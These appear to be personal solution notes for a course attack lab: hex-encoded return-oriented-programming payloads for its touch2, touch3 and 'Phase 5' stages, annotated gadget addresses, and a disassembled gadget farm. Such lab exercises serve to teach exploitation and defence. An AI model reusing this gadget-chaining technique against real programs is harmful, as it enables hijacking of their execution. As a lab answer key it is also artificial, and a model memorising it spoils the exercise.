00 00 00 00 00 00 00 00

7d 19 40 00 00 00 00 00

6c 59 f6 37 00 00 00 00

9c 19 40 00 00 00 00 00

fe 17 40 00 00 00 00 00

6c59f637 c3

36 63 35 39 66 26 33 37

37f6596c

Touch 2 4017fe

Gadget 1 pop?? 40197d / 40196a //58

Gadget 2 401961 //48

Phase 5:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

7d 19 40 00 00 00 00 00

90 00 00 00 00 00 00 00

a3 19 40 00 00 00 00 00

b7 19 40 00 00 00 00 00

b1 19 40 00 00 00 00 00

8a 19 40 00 00 00 00 00

61 19 40 00 00 00 00 00

9c 19 40 00 00 00 00 00

61 19 40 00 00 00 00 00

d2 18 40 00 00 00 00 00

33 37 66 36 35 39 36 63

//padding

40197d//pop rax first gadget

4019ac //???

4019b3//increment stack

4019a3//mv eax -> ecx 48 89 c1

4019b7//mv ecx -> edx 48 89 ca

4019b1//mv edx -> esi 48 89 d6

4019ac//mv rsp -> rax 48 89 e0

401961//mv rax -> rdi 48 89 c7

40199c//add rdi + rsi -> rax add\_xy

401961//rax -> rdi 48 89 c7

//address of touch3

//ascii of cookie

//pop rax

//add one to stack

//mv eax -> ecx

//mv ecx -> edx

//mv edx -> esi

//mv rsp -> rax

//mv rax -> rdi

//add rdi + rsi -> rax

//mv rax -> rdi

touch3 = 4018d2

000000000040195a <start\_farm>:

40195a: b8 01 00 00 00 mov $0x1,%eax

40195f: c3 retq

**0000000000401960 <getval\_447>:**

401960: b8 48 89 c7 90 mov $0x90c78948,%eax

401965: c3 retq

0000000000401966 <addval\_180>:

401966: 8d 87 9d 9e 58 90 lea -0x6fa76163(%rdi),%eax

40196c: c3 retq

000000000040196d <setval\_308>:

40196d: c7 07 50 90 90 90 movl $0x90909050,(%rdi)

401973: c3 retq

0000000000401974 <setval\_320>:

401974: c7 07 48 88 c7 c3 movl $0xc3c78848,(%rdi)

40197a: c3 retq

000000000040197b <getval\_332>:

40197b: b8 ec 58 90 90 mov $0x909058ec,%eax

401980: c3 retq

0000000000401981 <setval\_331>:

401981: c7 07 08 78 90 90 movl $0x90907808,(%rdi)

401987: c3 retq

**0000000000401988 <addval\_196>:**

401988: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

40198e: c3 retq

000000000040198f <addval\_264>:

40198f: 8d 87 a9 68 89 c7 lea -0x38769757(%rdi),%eax

401995: c3 retq

0000000000401996 <mid\_farm>:

401996: b8 01 00 00 00 mov $0x1,%eax

40199b: c3 retq

000000000040199c <add\_xy>:

40199c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

4019a0: c3 retq

00000000004019a1 <addval\_456>:

4019a1: 8d 87 89 c1 38 c0 lea -0x3fc73e77(%rdi),%eax

4019a7: c3 retq

**00000000004019a8 <setval\_405>:**

4019a8: c7 07 d8 48 89 e0 movl $0xe08948d8,(%rdi)

4019ae: c3 retq

00000000004019af <addval\_426>:

4019af: 8d 87 89 d6 20 db lea -0x24df2977(%rdi),%eax

4019b5: c3 retq

00000000004019b6 <getval\_268>:

4019b6: b8 89 ca 84 db mov $0xdb84ca89,%eax

4019bb: c3 retq

00000000004019bc <getval\_495>:

4019bc: b8 89 c1 00 c9 mov $0xc900c189,%eax

4019c1: c3 retq

00000000004019c2 <addval\_162>:

4019c2: 8d 87 89 ca 38 c0 lea -0x3fc73577(%rdi),%eax

4019c8: c3 retq

00000000004019c9 <addval\_315>:

4019c9: 8d 87 89 ca 94 d2 lea -0x2d6b3577(%rdi),%eax

4019cf: c3 retq

00000000004019d0 <setval\_304>:

4019d0: c7 07 9a 81 d6 90 movl $0x90d6819a,(%rdi)

4019d6: c3 retq

**00000000004019d7 <setval\_411>:**

4019d7: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)

4019dd: c3 retq

00000000004019de <addval\_167>:

4019de: 8d 87 89 d6 90 c2 lea -0x3d6f2977(%rdi),%eax

4019e4: c3 retq

**00000000004019e5 <getval\_333>:**

4019e5: b8 48 89 e0 92 mov $0x92e08948,%eax

4019ea: c3 retq

00000000004019eb <addval\_229>:

4019eb: 8d 87 89 d6 28 db lea -0x24d72977(%rdi),%eax

4019f1: c3 retq

00000000004019f2 <getval\_140>:

4019f2: b8 88 d6 38 db mov $0xdb38d688,%eax

4019f7: c3 retq

**00000000004019f8 <setval\_475>:**

4019f8: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)

4019fe: c3 retq

00000000004019ff <setval\_100>:

4019ff: c7 07 c9 c1 84 db movl $0xdb84c1c9,(%rdi)

401a05: c3 retq

0000000000401a06 <setval\_446>:

401a06: c7 07 8d ca 84 c9 movl $0xc984ca8d,(%rdi)

401a0c: c3 retq

0000000000401a0d <addval\_141>:

401a0d: 8d 87 88 ca c3 0c lea 0xcc3ca88(%rdi),%eax

401a13: c3 retq

0000000000401a14 <getval\_253>:

401a14: b8 48 a9 e0 90 mov $0x90e0a948,%eax

401a19: c3 retq

0000000000401a1a <addval\_497>:

401a1a: 8d 87 09 c1 84 d2 lea -0x2d7b3ef7(%rdi),%eax

401a20: c3 retq

0000000000401a21 <getval\_245>:

401a21: b8 89 c1 18 c9 mov $0xc918c189,%eax

401a26: c3 retq

0000000000401a27 <setval\_416>:

401a27: c7 07 48 a9 e0 90 movl $0x90e0a948,(%rdi)

401a2d: c3 retq

0000000000401a2e <addval\_280>:

401a2e: 8d 87 89 d6 84 db lea -0x247b2977(%rdi),%eax

401a34: c3 retq

0000000000401a35 <addval\_278>:

401a35: 8d 87 26 89 d6 92 lea -0x6d2976da(%rdi),%eax

401a3b: c3 retq

**0000000000401a3c <addval\_372>:**

401a3c: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax

401a42: c3 retq

0000000000401a43 <addval\_382>:

401a43: 8d 87 89 ca 90 c1 lea -0x3e6f3577(%rdi),%eax

401a49: c3 retq

0000000000401a4a <addval\_130>:

401a4a: 8d 87 81 d6 c3 85 lea -0x7a3c297f(%rdi),%eax

401a50: c3 retq

0000000000401a51 <getval\_218>:

401a51: b8 89 c1 28 db mov $0xdb28c189,%eax

401a56: c3 retq

0000000000401a57 <addval\_177>:

401a57: 8d 87 89 c1 38 d2 lea -0x2dc73e77(%rdi),%eax

401a5d: c3 retq

0000000000401a5e <getval\_493>:

401a5e: b8 0a 4f 81 ca mov $0xca814f0a,%eax

401a63: c3 retq

0000000000401a64 <addval\_255>:

401a64: 8d 87 89 ca 28 d2 lea -0x2dd73577(%rdi),%eax

401a6a: c3 retq

**0000000000401a6b <setval\_465>:**

401a6b: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)

401a71: c3 retq

0000000000401a72 <setval\_393>:

401a72: c7 07 8b c1 90 90 movl $0x9090c18b,(%rdi)

401a78: c3 retq

0000000000401a79 <end\_farm>:

401a79: b8 01 00 00 00 mov $0x1,%eax

401a7e: c3 retq

401a7f: 90 nop